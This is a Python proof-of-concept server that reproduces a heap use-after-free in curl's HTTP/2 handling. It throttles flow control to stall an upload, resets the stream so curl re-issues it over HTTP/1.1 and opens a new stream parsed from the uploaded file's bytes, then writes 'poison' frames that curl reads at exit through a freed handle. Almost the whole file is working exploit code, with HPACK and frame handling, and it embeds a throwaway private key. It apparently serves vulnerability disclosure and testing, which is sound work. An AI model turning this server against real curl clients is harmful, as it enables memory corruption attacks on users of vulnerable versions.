#!/usr/bin/env python3
"""
curl HTTP/2 "stream resurrection" heap use-after-free - minimal reproducer.

HOW TO RUN
----------
# terminal 1 - serves ONE run, then exits
python3 curl-h2-uaf-server.py 19170 ./sample_docs.md

# terminal 2 - against an AddressSanitizer build of curl 8.22.0
curl -k -T ./sample_docs.md https://127.0.0.1:19170/anything
"""

import os
import re
import socket
import ssl
import sys
import time


# ===========================================================================
# Constants
# ===========================================================================

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 19170

HERE = os.path.dirname(os.path.abspath(__file__))
CERT_PATH = os.path.join(HERE, "repro_cert.pem")

# The file the victim uploads: `sample_docs.md` next to this script by default,
# or a path given as the second argument.  Nothing is planted in it and no
# particular file is needed - the server reads whichever file it is pointed at
# and looks for an offset whose bytes happen to parse as a request head, which
# is the point: ordinary prose is full of lines that curl's request parser
# accepts.  sample_docs.md is just curl's own documentation, the .md files from
# the release tarball concatenated into one 586035-byte file.
UPLOAD_PATH = sys.argv[2] if len(sys.argv) > 2 else os.path.join(".", "sample_docs.md")

# Flow control.  The server advertises this much stream window and no more,
# which is what leaves the rest of the body stuck in curl's send buffer.
STREAM_WINDOW = 65535
WINDOW_GRANT = 16384

# curl stages the request in 64 KiB chunks and the request head shares the
# first chunk with the beginning of the body, so the bytes still queued when
# the stream stalls begin at file offset
#
#     GRID_BASE - L + WINDOW_GRANT * j
#
# where L is the length of that request head and j is the number of extra
# 16 KiB windows the server granted before letting the upload stall.  The
# server picks the smallest j whose bytes parse (see choose_grid_point).
GRID_BASE = 2 * 65536

# The upload counts as "stalled" once curl has sent everything the window
# allows and has then been quiet for this long.
STALL_QUIET_SECS = 0.4

# How long to wait, after the reset, for curl to open the resurrected stream.
RESURRECTION_TIMEOUT_SECS = 5

# RST_STREAM error code that makes multi.c re-issue the request over HTTP/1.1.
HTTP_1_1_REQUIRED = 0xd

# Sentinel returned by H2Connection.recv_frame() when the peer went away.
EOF = "eof"


def log(message):
    print("[srv]", message, file=sys.stderr, flush=True)


# ===========================================================================
# Aiming: which bytes of the uploaded file become the resurrected request
# ===========================================================================

def head_len(request_headers):
    """Byte length of the HTTP/1-style request head curl built internally.

    curl does not put this on the wire - it assembles

        PUT <path> HTTP/2\\r\\n
        Host: <authority>\\r\\n
        User-Agent: <ua>\\r\\n
        Accept: */*\\r\\n
        Content-Length: <n>\\r\\n
        \\r\\n

    into its request buffer and hands it to h2_submit(), which turns it into
    HEADERS.  Whatever follows in that buffer is body.  So this length, call it
    L, says where the body starts inside the buffer.

    We do not have to guess it: the HEADERS frame curl just sent carries every
    field, so L is reconstructed from the request we were actually given.  That
    is why the path, the port and extra -H options do not matter here.
    """
    fields = dict(request_headers)
    length = len("%s %s HTTP/2\r\n" % (fields[":method"], fields[":path"]))
    length += len("Host: %s\r\n" % fields[":authority"])
    for name, value in request_headers:
        if not name.startswith(":"):
            length += len(name) + 2 + len(value) + 2
    return length + 2


def parses_as_request_head(body, offset):
    """Does curl's request-head parser accept body[offset:] as a whole head?

    `Curl_h1_req_parse_read()` (lib/http1.c) is deliberately lenient: it wants a
    first line of "<method> <target> <anything>" - two spaces, a non-empty
    target that is either "/..."-ish or not obviously an absolute URL - and then
    lines containing a colon until a blank line.  Bare LFs are accepted.

    Ordinary English prose satisfies that surprisingly often: a sentence
    fragment supplies the two spaces, and a Markdown paragraph ends at a blank
    line.  Returns (ok, why) so the server can log why an offset was skipped.
    """
    end = body.find(b"\n", offset)
    if end < 0:
        return False, "no LF"
    line = body[offset:end].rstrip(b"\r")
    if not line or line[:1] == b" ":
        return False, "first line empty or starts with a space"
    first_space = line.find(b" ")
    if first_space <= 0:
        return False, "no space: no method"
    last_space = line.rfind(b" ")
    if last_space == first_space:
        return False, "only one space: no room for method, target and trailer"
    target = line[first_space + 1:last_space]
    if not target:
        return False, "empty target"
    if target[:1] != b"/" and target != b"*":
        if len(target) >= 8192:
            return False, "target too long"
        if ABSOLUTE_URL.match(target):
            return False, "target looks like an absolute URL"
    position = end + 1
    header_lines = 0
    while True:
        line_end = body.find(b"\n", position)
        if line_end < 0:
            return False, "no blank line before end of file"
        line = body[position:line_end].rstrip(b"\r")
        if line == b"":
            return True, "ok (%d header-ish lines)" % header_lines
        if b":" not in line:
            return False, "line without ':' before the blank line"
        header_lines += 1
        position = line_end + 1
        if header_lines > 200:
            return False, "too many header lines"


ABSOLUTE_URL = re.compile(rb'^[A-Za-z][A-Za-z0-9+.\-]{0,39}:')


def choose_grid_point(body, request_head_len):
    """Pick j: how many extra 16 KiB windows to grant before letting curl stall.

    Each extra window lets curl drain one more 16 KiB before it runs out of
    stream credit, which moves the start of the still-queued remainder on by
    exactly 16384.  So the reachable offsets form a grid, and we take the first
    one whose bytes the request parser accepts.  Returns (j, offset, why) or
    None if this file has no usable offset at all.
    """
    for j in range(64):
        offset = GRID_BASE - request_head_len + WINDOW_GRANT * j
        if offset + 2 >= len(body) - 16:
            break
        ok, why = parses_as_request_head(body, offset)
        if ok:
            return j, offset, why
    return None


# ===========================================================================
# HPACK (RFC 7541), only the parts this server needs
#
# We have to decode curl's request headers exactly, because their byte lengths
# are what the aim in head_len() is computed from.  Encoding is trivial by
# comparison: everything we send is a literal that never touches the dynamic
# table, so this end keeps no encoder state at all.
# ===========================================================================

# RFC 7541 Appendix A, the 61-entry static table, written as "name" or
# "name value" and split on the first space (no entry's name contains one).
STATIC_TABLE = (
    ":authority", ":method GET", ":method POST", ":path /", ":path /index.html",
    ":scheme http", ":scheme https", ":status 200", ":status 204", ":status 206",
    ":status 304", ":status 400", ":status 404", ":status 500", "accept-charset",
    "accept-encoding gzip, deflate", "accept-language", "accept-ranges", "accept",
    "access-control-allow-origin", "age", "allow", "authorization", "cache-control",
    "content-disposition", "content-encoding", "content-language", "content-length",
    "content-location", "content-range", "content-type", "cookie", "date", "etag",
    "expect", "expires", "from", "host", "if-match", "if-modified-since",
    "if-none-match", "if-range", "if-unmodified-since", "last-modified", "link",
    "location", "max-forwards", "proxy-authenticate", "proxy-authorization", "range",
    "referer", "refresh", "retry-after", "server", "set-cookie", "strict-transport-security",
    "transfer-encoding", "user-agent", "vary", "via", "www-authenticate",
)

STATIC_STATUS_200 = 8          # index of ":status: 200"
STATIC_CONTENT_LENGTH = 28     # index of "content-length"

# RFC 7541 Appendix B gives a Huffman code for 256 symbols plus EOS.  That code
# is canonical, so the 257 code *lengths* are enough to rebuild it: sort the
# symbols by (length, symbol) and hand out consecutive codes, shifting left
# whenever the length grows.  One character per symbol below, 'A' meaning 5 bits
# (the shortest code) up to 'Z' meaning 30 (the longest).
HUFFMAN_CODE_LENGTHS = (
    "ISXXXXXXXTZXXZXXXXXXXXZXXXXXXXXXBFFHIBDGFFDGDBBBAAABBBBBBBCDKBHFIBCCCCCCCCCC"
    "CCCCCCCCCCCCDCDIOIJBKABABABBBACCBBBABCBAABCCCCCKGJIXPRPPRRRSRSSSSSTSTTRSTSSS"
    "SQRSRSSTRQPRRSSQSRRTQRSSQQRQSRSSPRRRSRRSVVPORSRUVVVWWVTUOQVWWVWTQQVVXWWWPTPQR"
    "QQSRRUUTTVSVWVVWWWWWXWWWWWVZ"
)


def _build_huffman_table():
    """(bit length, code) -> symbol, rebuilt canonically from the code lengths."""
    lengths = [ord(c) - ord("A") + 5 for c in HUFFMAN_CODE_LENGTHS]
    table = {}
    code = 0
    previous_length = None
    for symbol in sorted(range(len(lengths)), key=lambda s: (lengths[s], s)):
        length = lengths[symbol]
        if previous_length is not None:
            code <<= length - previous_length
        previous_length = length
        table[(length, code)] = symbol
        code += 1
    return table


HUFFMAN_TABLE = _build_huffman_table()
HUFFMAN_EOS = 256


def huffman_decode(data):
    """Decode one Huffman-coded header name or value."""
    out = bytearray()
    code = 0
    length = 0
    for byte in data:
        for bit in range(7, -1, -1):
            code = (code << 1) | ((byte >> bit) & 1)
            length += 1
            symbol = HUFFMAN_TABLE.get((length, code))
            if symbol is None:
                continue
            if symbol == HUFFMAN_EOS:
                return bytes(out)
            out.append(symbol)
            code = 0
            length = 0
    return bytes(out)      # trailing bits are the all-ones EOS padding


def read_integer(data, position, prefix_bits):
    """RFC 7541 section 5.1 integer.  Returns (value, next position)."""
    mask = (1 << prefix_bits) - 1
    value = data[position] & mask
    position += 1
    if value < mask:
        return value, position
    shift = 0
    while True:
        byte = data[position]
        position += 1
        value += (byte & 0x7f) << shift
        shift += 7
        if not byte & 0x80:
            return value, position


def read_string(data, position):
    """RFC 7541 section 5.2 string literal.  Returns (bytes, next position)."""
    huffman = bool(data[position] & 0x80)
    length, position = read_integer(data, position, 7)
    raw = bytes(data[position:position + length])
    position += length
    return (huffman_decode(raw) if huffman else raw), position


class HpackDecoder:
    """Decoder with the dynamic table curl's encoder assumes we are keeping."""

    def __init__(self):
        self.dynamic = []            # most recently added first
        self.max_size = 4096

    def _entry(self, index):
        if index <= len(STATIC_TABLE):
            name, _, value = STATIC_TABLE[index - 1].partition(" ")
            return name.encode(), value.encode()
        return self.dynamic[index - len(STATIC_TABLE) - 1]

    def _insert(self, name, value):
        self.dynamic.insert(0, (name, value))
        # RFC 7541 section 4.1: each entry costs its bytes plus 32 of overhead
        size = sum(len(n) + len(v) + 32 for n, v in self.dynamic)
        while size > self.max_size and self.dynamic:
            name, value = self.dynamic.pop()
            size -= len(name) + len(value) + 32

    def decode(self, block):
        """One header block -> list of (name, value) str pairs, in order."""
        headers = []
        position = 0
        while position < len(block):
            byte = block[position]
            if byte & 0x80:                                   # indexed
                index, position = read_integer(block, position, 7)
                name, value = self._entry(index)
            elif byte & 0x40 or not byte & 0x20:              # literal
                indexed = bool(byte & 0x40)
                index, position = read_integer(block, position, 6 if indexed else 4)
                if index:
                    name, _ = self._entry(index)
                else:
                    name, position = read_string(block, position)
                value, position = read_string(block, position)
                if indexed:
                    self._insert(name, value)
            else:                                             # table size update
                self.max_size, position = read_integer(block, position, 5)
                self._insert_nothing = None
                continue
            headers.append((name.decode("latin-1"), value.decode("latin-1")))
        return headers


def encode_headers(header_list):
    """Encode the handful of response headers this server sends.

    Every field goes out as a literal without indexing, with the name taken
    from the static table and the value spelled out - no Huffman, no dynamic
    table entries, so there is no encoder state to keep in step with curl.
    """
    block = b""
    for name, value in header_list:
        if (name, value) == (":status", "200"):
            block += bytes([0x80 | STATIC_STATUS_200])        # indexed, static
            continue
        if name == ":status":
            block += bytes([0x00 | STATIC_STATUS_200])        # literal, name idx 8
        elif name == "content-length":
            block += bytes([0x0f, STATIC_CONTENT_LENGTH - 15])
        else:
            raise AssertionError("no encoding rule for %r" % name)
        block += bytes([len(value)]) + value.encode()
    return block


# ===========================================================================
# Just enough HTTP/2 to drive the exchange
# ===========================================================================

FRAME_DATA, FRAME_HEADERS, FRAME_RST_STREAM = 0x0, 0x1, 0x3
FRAME_SETTINGS, FRAME_PING, FRAME_GOAWAY, FRAME_WINDOW_UPDATE = 0x4, 0x6, 0x7, 0x8

FLAG_ACK = FLAG_END_STREAM = 0x1
FLAG_END_HEADERS = 0x4
FLAG_PADDED = 0x8

SETTINGS_MAX_CONCURRENT_STREAMS = 0x3
SETTINGS_INITIAL_WINDOW_SIZE = 0x4


class Frame:
    """A parsed HTTP/2 frame: 9-byte header (length, type, flags, stream) + payload."""

    def __init__(self, ftype, flags, stream_id, payload, headers=None):
        self.ftype = ftype
        self.flags = flags
        self.stream_id = stream_id
        self.payload = payload
        self.headers = headers        # HEADERS frames only, decoded


class H2Connection:
    def __init__(self, sock):
        self.sock = sock
        self.buf = b""
        self.decoder = HpackDecoder()

    def send_frame(self, ftype, flags, stream_id, payload=b""):
        self.sock.sendall(len(payload).to_bytes(3, "big") + bytes([ftype, flags])
                          + stream_id.to_bytes(4, "big") + payload)

    def recv_frame(self, timeout):
        """Return the next frame, None on timeout, or EOF if the peer closed."""
        self.sock.settimeout(timeout)
        try:
            while True:
                if len(self.buf) >= 9:
                    length = int.from_bytes(self.buf[:3], "big")
                    if len(self.buf) >= 9 + length:
                        head, self.buf = self.buf[:9], self.buf[9:]
                        payload, self.buf = self.buf[:length], self.buf[length:]
                        ftype, flags = head[3], head[4]
                        stream_id = int.from_bytes(head[5:9], "big") & 0x7fffffff
                        headers = None
                        if ftype == FRAME_HEADERS:
                            headers = self.decoder.decode(self._header_block(flags, payload))
                        return Frame(ftype, flags, stream_id, payload, headers)
                chunk = self.sock.recv(65536)
                if not chunk:
                    return EOF
                self.buf += chunk
        except (socket.timeout, TimeoutError):
            return None
        except (ssl.SSLError, OSError):
            return EOF

    @staticmethod
    def _header_block(flags, payload):
        """Strip the padding and priority fields curl never actually sends."""
        position = 0
        padding = 0
        if flags & FLAG_PADDED:
            padding = payload[0]
            position = 1
        if flags & 0x20:                                   # PRIORITY
            position += 5
        return payload[position:len(payload) - padding]

    def send_settings(self, settings):
        payload = b"".join(key.to_bytes(2, "big") + value.to_bytes(4, "big")
                           for key, value in settings.items())
        self.send_frame(FRAME_SETTINGS, 0, 0, payload)

    def send_settings_ack(self):
        self.send_frame(FRAME_SETTINGS, FLAG_ACK, 0)

    def send_headers(self, stream_id, header_list):
        self.send_frame(FRAME_HEADERS, FLAG_END_HEADERS, stream_id,
                        encode_headers(header_list))

    def send_data(self, stream_id, payload):
        self.send_frame(FRAME_DATA, 0, stream_id, payload)

    def send_window_update(self, stream_id, increment):
        self.send_frame(FRAME_WINDOW_UPDATE, 0, stream_id, increment.to_bytes(4, "big"))

    def send_rst_stream(self, stream_id, error_code):
        self.send_frame(FRAME_RST_STREAM, 0, stream_id, error_code.to_bytes(4, "big"))


# ===========================================================================
# The phases of the attack, in the order main() runs them
# ===========================================================================

def phase1_load_upload_file():
    """Read the file curl is about to upload: the server has to know those bytes
    in order to aim at one of them."""
    if not os.path.exists(UPLOAD_PATH):
        sys.exit("no upload file at %s\n"
                 "Pass one as the second argument: %s %d /path/to/file\n"
                 "Any large text file will do - a few hundred KB of ordinary prose."
                 % (UPLOAD_PATH, sys.argv[0], PORT))
    with open(UPLOAD_PATH, "rb") as fh:
        body = fh.read()
    log("1/10 setup: upload file %s (%d bytes); now run:  "
        "curl -k -T %s https://127.0.0.1:%d/anything"
        % (UPLOAD_PATH, len(body), UPLOAD_PATH, PORT))
    return body


def make_tls_context():
    with open(CERT_PATH, "w") as fh:
        fh.write(CERT_PEM)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(CERT_PATH)
    ctx.set_alpn_protocols(["h2", "http/1.1"])
    return ctx


def open_listener():
    listener = socket.socket()
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind(("127.0.0.1", PORT))
    listener.listen(4)
    return listener


def phase2_accept_h2(listener, ctx):
    """Accept curl's first connection, finish TLS, read the HTTP/2 preface."""
    raw, _ = listener.accept()
    conn = H2Connection(ctx.wrap_socket(raw, server_side=True))
    log("2/10 accept: conn0 TLS up, ALPN %s" % conn.sock.selected_alpn_protocol())
    preface = b""
    while len(preface) < 24:
        preface += conn.sock.recv(24 - len(preface))
    assert preface == b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
    return conn


def phase3_send_settings(conn):
    """Advertise a small stream window - this is what will stall the upload."""
    conn.send_settings({
        SETTINGS_MAX_CONCURRENT_STREAMS: 100,
        SETTINGS_INITIAL_WINDOW_SIZE: STREAM_WINDOW,
    })
    log("3/10 settings: SETTINGS_INITIAL_WINDOW_SIZE=%d "
        "(small on purpose: the rest of the upload will stay queued in curl)" % STREAM_WINDOW)


def phases4to6_stall_reset_and_watch(conn, body):
    """Phases 4, 5 and 6, which all live in one frame loop.

      4. read the request HEADERS, work out L and pick the grid point, grant j
         extra 16 KiB windows, then let the body arrive until it stalls;
      5. answer HEADERS(:status 200) + RST_STREAM(HTTP_1_1_REQUIRED);
      6. watch for a NEW stream - that is the resurrection, and the whole point.

    Returns (stop, resurrected_stream_id).
    """
    upload_sid = None          # curl's real upload stream (stream 1)
    body_bytes = 0             # DATA received on it
    last_activity = time.time()
    reset_sent = False
    resurrected_sid = None
    j = 0                      # extra 16 KiB windows to grant; set from the request

    while True:
        frame = conn.recv_frame(0.05)

        if frame == EOF:
            log("conn0 closed early?!")
            return True, None

        if frame is not None:
            if frame.ftype == FRAME_SETTINGS and not frame.flags & FLAG_ACK:
                conn.send_settings_ack()

            elif frame.ftype == FRAME_HEADERS:
                headers = dict(frame.headers)

                if upload_sid is None:
                    # ---- phase 4: the upload request itself ----
                    upload_sid = frame.stream_id
                    request_head_len = head_len(frame.headers)
                    choice = choose_grid_point(body, request_head_len)
                    if choice is None:
                        log("4/10 request: no offset in this %d-byte file parses as a "
                            "request head - upload a bigger or more prose-like file"
                            % len(body))
                        return True, None
                    j, offset, why = choice
                    aimed_line = body[offset:body.find(b"\n", offset)][:60]
                    log("4/10 request: %s %s on stream %d (L=%d); granting j=%d extra "
                        "16 KiB window(s), then stalling, so that the bytes left queued "
                        "start at file offset %d: %r - %s"
                        % (headers.get(":method"), headers.get(":path"), upload_sid,
                           request_head_len, j, offset, aimed_line, why))
                    for _ in range(j):
                        conn.send_window_update(upload_sid, WINDOW_GRANT)

                elif reset_sent and frame.stream_id != upload_sid:
                    # ---- phase 6: curl opened a stream we never asked for ----
                    resurrected_sid = frame.stream_id
                    log("6/10 resurrection: *** NEW stream %d opened by curl AFTER the reset: "
                        ":method=%r :path=%r  <- parsed out of the upload body"
                        % (frame.stream_id, headers.get(":method"), headers.get(":path")))
                    break

            elif frame.ftype == FRAME_DATA:
                # Keep the CONNECTION window wide open, but never top up the
                # STREAM window: curl must run out of stream credit, not
                # connection credit, or it would stop for the wrong reason.
                received = len(frame.payload)
                if received:
                    conn.send_window_update(0, received)
                if frame.stream_id == upload_sid:
                    body_bytes += received
                    last_activity = time.time()

        # ---- phase 5: the upload has stalled -> 200 then RST_STREAM ----
        stalled = (body_bytes >= STREAM_WINDOW + WINDOW_GRANT * j
                   and time.time() - last_activity > STALL_QUIET_SECS)
        if upload_sid and not reset_sent and stalled:
            # Send some response header bytes first, so that Curl_http_done()
            # does not fail with "Empty reply from server" - that would skip
            # Curl_req_done() and with it the req_flush() we need.
            conn.send_headers(upload_sid, [(":status", "200"), ("content-length", "3")])
            conn.send_rst_stream(upload_sid, HTTP_1_1_REQUIRED)
            reset_sent = True
            log("5/10 reset: upload stalled at %d bytes -> HEADERS(:status 200) + "
                "RST_STREAM(HTTP_1_1_REQUIRED); curl will now re-issue over HTTP/1.1 "
                "and flush the queued body into the HTTP/2 filter" % body_bytes)

        if reset_sent and resurrected_sid is None and time.time() - last_activity > RESURRECTION_TIMEOUT_SECS:
            log("6/10 resurrection: no new stream appeared (patched curl?)")
            break

    return False, resurrected_sid


def phase7_accept_http11_reissue(listener):
    """Accept the TCP connection for curl's HTTP/1.1 retry, but do NOT complete TLS yet.

    Holding the handshake here keeps curl busy on conn0 long enough for the
    frames we are about to write there to land in its socket.
    """
    listener.settimeout(10)
    try:
        raw, _ = listener.accept()
        log("7/10 second-conn: curl opened a second connection for its HTTP/1.1 retry; "
            "holding the TLS handshake for a moment")
        return raw
    except (socket.timeout, TimeoutError):
        log("no second connection?")
        return None


def phase8_answer_resurrected_stream(conn, resurrected_sid):
    """Write a response for the resurrected stream into the now-idle pooled connection.

    curl is finished with this connection; it sits in the connection pool.  These
    frames are not read until exit, when cf_h2_shutdown() drains the socket - and
    by then the easy handle the stream points at has been freed.
    """
    conn.send_headers(resurrected_sid, [(":status", "200"), ("content-length", "6")])
    conn.send_data(resurrected_sid, b"hello\n")
    log("8/10 poison: response HEADERS+DATA for stream %d written into the idle pooled "
        "connection; curl reads them at exit (curl_share_cleanup -> cf_h2_shutdown) and "
        "hands them to on_begin_headers() with the freed handle" % resurrected_sid)


def phase9_serve_http11_reissue(raw_sock, ctx):
    """Finish TLS on the second connection and answer curl's HTTP/1.1 retry.

    Nothing here has anything to do with the bug; it just keeps curl moving so it
    gets to its exit path.
    """
    try:
        sock = ctx.wrap_socket(raw_sock, server_side=True)
        sock.settimeout(2)
        request = b""
        while b"\r\n\r\n" not in request:
            chunk = sock.recv(65536)
            if not chunk:
                break
            request += chunk
        log("9/10 reissue: HTTP/1.1 re-issue arrived (%s); answering 200"
            % request.split(b"\r\n")[0].decode(errors="replace"))
        try:
            while sock.recv(65536):
                pass
        except Exception:
            pass
        sock.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 3\r\nConnection: close\r\n\r\nok\n")
        time.sleep(0.5)
        sock.close()
    except Exception as exc:
        log("9/10 reissue: curl closed the HTTP/1.1 connection early "
            "(expected: its -T re-issue gives up with error 26) [%s]" % type(exc).__name__)


def phase10_wait_for_exit_read(conn):
    """Keep conn0 open while curl exits, and note the GOAWAY it sends on the way out.

    That GOAWAY is proof that curl came back to this pooled connection and read
    the frames from phase 8 - which is where the use-after-free happens.
    """
    deadline = time.time() + 10
    while time.time() < deadline:
        frame = conn.recv_frame(0.2)
        if frame == EOF:
            break
        if frame.ftype == FRAME_GOAWAY:
            log("10/10 exit-read: GOAWAY from curl = the exit-time read happened")
    log("done")


def main():
    body = phase1_load_upload_file()

    ctx = make_tls_context()
    listener = open_listener()

    conn0 = phase2_accept_h2(listener, ctx)
    phase3_send_settings(conn0)

    stop, resurrected_sid = phases4to6_stall_reset_and_watch(conn0, body)
    if stop:
        return

    raw1 = phase7_accept_http11_reissue(listener)
    if resurrected_sid:
        phase8_answer_resurrected_stream(conn0, resurrected_sid)
    time.sleep(0.1)
    if raw1:
        phase9_serve_http11_reissue(raw1, ctx)

    phase10_wait_for_exit_read(conn0)


# ===========================================================================
# Throwaway self-signed certificate for 127.0.0.1
# ===========================================================================

CERT_PEM = """-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCtPJebqgZi9vyu
JtkS9NEgmMv2W0QUmcySx27q5xYiDOn/eoTATGGg/o2ECtL78At7ZxDjJfNInvNK
+zi53G4PHZV5rQRZm6sD3xU545uwL8hX3Q+ddpZ2jBk9jlpQjt5NRz4PYoBQVPd0
VzjubqFeGsaRs9u6ru5y0xR0lHifw7EGSoJntoPjgiQYtnLYxRwJTbrciIW1fK4K
igxPcwPEhOGRWkbXMQsuuFX/QHQe0/WCPg/oGIewoqtg94wKf0tddM3mZN977FKP
moWGjT38Dqb8ThdFZjcDWbGhqFARAWpSSJ1qKY+70l6nZ0ioCFgSHZtTckFeNVVF
mVD/sFZhAgMBAAECggEAF+dbeBQ+61rvRMyBeXckgB31TtoLC9io/LveFzWpvSsR
ArqSJMKlWgSl3EluEWtu+ikfkGhFKIkeQwNlMWg0G4vWe0Kfbgnn0BHxKNq6OdZu
C4mqROz/F/5+4RqKZcFA9WLWMmNCF1OSDZCXf3bud0C0k5hAwoKuzlNH6EowVsL8
nIDSOR7/sgNVZhbbjOAKvCO1DYvBBGJhkv0IMsQGnaJF+8qWDlInw31S6A9hWw90
DP4CCeSl7fTcmGviyOvImuKw2pHePT+tAptMDCPChF8vydZ3GxHD719CblcAlaGA
CMOfWPE7Omp0ViPXmb4kAwitKwMPvkuY3qeMxKNnfQKBgQDiyFt8VrT0GFWCchS+
Htf90eP1wRumkPJE5T41i8S5p/XZZMz+zt8142ba9vE75DlENPBwaI2RZtaqdczf
+y113k7ADCqBvetLxVXy2hJXywlbQbh8mqI7l8UaLIYGr/tYwp45cxrv9hC+TfFd
XFVCTrpc3DMOlpNV+lq/a0jYswKBgQDDjjTQR9WwCZhkk3WGiIKLg1qs+wRIFLuc
/2bBdAps1Aihd2ne85AjqgKSWS5Bh7lR6mrk1IkvALVecbTmaRmulLY9fUv62tp9
igaOq3dmCDUMg4QN143pU6dWf9KR8iJb5MXRpa4c/nf5Dbp9x3mC1WaxJ7hIn9lH
yWDW0ZNWmwKBgQCmyH8v1HzEP9kzVD8ZC4oB64jhRiHVwCfMr2Ou8Zm+iF3wgYeZ
pf7WnOUaCB6l01SiauShZuMmmiEpv/TqjMmEM/hqmQfx3wDa+sgZEHQJCRNaf9z0
Fq1VcmrMsw3mgSoyvv6qdZLMA4WQz7XA2ZUCbO/2NyN9iRPWWYa/3GD4rQKBgHI3
rvUv38lv8UhdMDmhpc3irKV3/2oyYdoy+ktngWdK+LeGTZng3IFYHSRpXjD8GuuT
ZVe+I1oGqeg9tZEWNd/YEBEeC7C6/v5wDaBq2dQIWyOx9QE4szRincxR4CVKLXNK
zZfDk0xv/JbEw/YO+hPGnLJAJsyUQI5DOoJ96fadAoGBANdKUa9zHl4i+zs2yvLe
kIJTB8g2ZkUIvevO+ZKx7S+KpotI0YCLHWkUHpR1AwB1m+0tcFASCDi/N3KY1xFD
8rVw6fD678+b8YVyuMYau8sf66vqCUylLBPsgdhMkggp/uXGC3Yheoq37zttHt/n
lbrGPZ40yv9VNt5oz+wdWGfW
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDJTCCAg2gAwIBAgIUNvVEOGZ8SLOKfZw90y3B5ICO3+YwDQYJKoZIhvcNAQEL
BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTI2MDkxMDAwNDUyM1oXDTI2MTAx
MDAwNDUyM1owFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEArTyXm6oGYvb8ribZEvTRIJjL9ltEFJnMksdu6ucWIgzp
/3qEwExhoP6NhArS+/ALe2cQ4yXzSJ7zSvs4udxuDx2Vea0EWZurA98VOeObsC/I
V90PnXaWdowZPY5aUI7eTUc+D2KAUFT3dFc47m6hXhrGkbPbuq7uctMUdJR4n8Ox
BkqCZ7aD44IkGLZy2MUcCU263IiFtXyuCooMT3MDxIThkVpG1zELLrhV/0B0HtP1
gj4P6BiHsKKrYPeMCn9LXXTN5mTfe+xSj5qFho09/A6m/E4XRWY3A1mxoahQEQFq
UkidaimPu9Jep2dIqAhYEh2bU3JBXjVVRZlQ/7BWYQIDAQABo28wbTAdBgNVHQ4E
FgQUMAOigqkZhsGX9OuWXKEt6WLDn0AwHwYDVR0jBBgwFoAUMAOigqkZhsGX9OuW
XKEt6WLDn0AwDwYDVR0TAQH/BAUwAwEB/zAaBgNVHREEEzARgglsb2NhbGhvc3SH
BH8AAAEwDQYJKoZIhvcNAQELBQADggEBAItAqfBe5LnPShQ7Hp/JSLgUlLYt+fYU
oPg79kCXaKSdp0tyY1yQ9W1DCa4N2mUqiMw7jpGv4jlv2Wni5//nhTAz21ZIR4Ij
xRBESb+ZXcdztZ2HAzsIXvIBoEuZ/YxQueDreKuW0i2WhzeJngTzppMXbDLk8aGc
8kHp3QBRwIl3Hoqvfi55t8165UaD6vNd9y6kxb8aJfvzIwtcV4QWFDvd8Q2Tq5UO
5BdSe0eOcQxh8d4DN7OWvhRsos+mTi3lvMIvRq5oxRVrulOGdwnD7clVv1529iQL
31aJaLRblS7V+ch6PUYL0U0yspFdf6v0GTd4IrgwqZMJdbnPSENty6o=
-----END CERTIFICATE-----
"""

main()
